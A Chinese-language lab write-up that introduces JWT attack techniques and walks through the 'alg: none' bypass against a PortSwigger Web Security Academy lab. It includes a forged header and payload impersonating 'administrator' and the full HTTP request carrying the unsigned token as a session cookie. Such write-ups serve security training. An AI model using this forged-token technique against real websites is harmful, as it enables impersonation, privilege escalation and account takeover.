简介
JWT攻击是使用者向网站发送修改后的JWT,目标是冒充另一个身份的使用者,并绕过身份验证和存取控制。 如果攻击者能够使用任意值创建自己的JWT有效令牌,他们能够升级自己的权限或冒充其他用户,完全控制他们的帐户。
JWT常见攻击手法有以下几种:
- 签名未验证
- JWT无签名
- 爆力破解对称式加密签名
- 用kid绕过对称式加密签名
- 用JWK绕过非对称式加密签名
- 用JKU绕过非对称式加密签名
关于JWT的介绍可参考json web token介绍
2.JWT无签名
网站接受没有签名的JWT,因此可以将alg改为none,一旦JWT没有签名机制,那就可以任意修改
举例来说,想用administrator身份存取/my-account功能,所以一样透过JWT editor将token修改为administrator。但因为目标网站有指定alg,所以任何内容的修改都会和签名不同,导致修改后的JWT无法使用
由于网站接受没有签名的JWT,因此只要把alg改成none即可把签名取消,如下
############## header ##############
{
"kid": "4d65bce9-4436-44cf-8475-a297719c5281",
"alg": "none"
}
############## payload ##############
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1656580618
}
重制token后,可以发现少了签名那段,将此请求送出即可用administrator身份访问/my-account
GET /my-account HTTP/1.1
Host: 0ab7006c03314ce7c0c42f88006d0081.web-security-academy.net
Cookie: session=eyJraWQiOiI0ZDY1YmNlOS00NDM2LTQ0Y2YtODQ3NS1hMjk3NzE5YzUyODEiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NTY1ODA2MTh9.